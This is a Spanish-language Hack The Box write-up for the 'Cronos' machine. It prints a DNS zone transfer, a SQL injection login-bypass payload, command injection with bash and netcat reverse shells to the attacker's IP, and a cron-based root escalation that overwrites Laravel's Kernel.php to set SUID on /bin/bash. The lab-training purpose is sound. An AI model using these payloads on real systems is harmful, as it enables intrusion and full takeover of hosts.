Cronos
Hack The Box — Writeup
Cronos
| IP: | 10.129.227.211 |
| OS: | Linux |
| Dificultad: | Medium |
| Fecha: | 12 de julio de 2026 |
Reconocimiento
Escaneo inicial
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.227.211 -oG allPorts
Se identificaron 3 puertos abiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22/tcp | SSH | OpenSSH 7.2p2 |
| 53/tcp | DNS | ISC BIND 9.10.3-P4 |
| 80/tcp | HTTP | Apache 2.4.18 |
Enumeración web inicial
Se accedió a la página principal — página por defecto de Apache sin contenido relevante. Inspección del código fuente sin resultados. Escaneo de directorios con feroxbuster sin vectores de entrada:
feroxbuster -u http://10.129.227.211/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Transferencia de zona DNS
El puerto 53 (DNS) llevó a probar una transferencia de zona AXFR sobre el dominio
cronos.htb, revelando todos los subdominios internos:
dig axfr cronos.htb @10.129.227.211
Subdominios descubiertos: cronos.htb, admin.cronos.htb, www.cronos.htb, ns1.cronos.htb.
El subdominio de mayor interés: admin.cronos.htb.
Explotación
SQLi blind — bypass de autenticación
El panel administrativo en admin.cronos.htb presentaba un login. Se detectó
inyección SQL blind mediante sqlmap:
sqlmap -u "http://admin.cronos.htb/" --data="username=admin&password=admin" --batch --level=5 --risk=3
Payload de bypass aplicado directamente en el navegador: username: admin’ OR 4174=4174– iDIf password: (cualquiera)
RCE mediante command injection
Dentro del panel se encontró Net Tool v0.1, herramienta que ejecuta comandos de red sobre una IP proporcionada por el usuario. Se confirmó command injection: 8.8.8.8; id → uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell
Intento fallido con netcat — el binario no soporta el flag -e:
8.8.8.8; nc -e /bin/sh 10.10.15.163 4444
Reverse shell exitosa mediante Bash:
8.8.8.8; bash -c 'bash -i >& /dev/tcp/10.10.15.163/4444 0>&1'
nc -lvnp 4444
Flag de usuario
user.txt: 2806d4**************f80c975
Escalada de Privilegios
Enumeración post-explotación
cat /etc/crontab
root php /var/www/laravel/artisan schedule:run » /dev/null 2>&1
El archivo Kernel.php de Laravel pertenece a www-data y es ejecutado cada
minuto como root — vector de escalada directo.
Explotación del cron job
Se sobrescribió Kernel.php para otorgar SUID a /bin/bash:
cat > /var/www/laravel/app/Console/Kernel.php << 'PAYLOAD'
<?php
namespace App\Console;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
class Kernel extends ConsoleKernel
{
protected $commands = [];
protected function schedule(Schedule $schedule)
{
exec("chmod u+s /bin/bash");
}
protected function commands()
{
require base_path('routes/console.php');
}
}
PAYLOAD
Tras esperar el siguiente ciclo del cron:
ls -la /bin/bash
→ -rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
bash -p
whoami
→ root
Flag de root
root.txt: 70335*****************e2a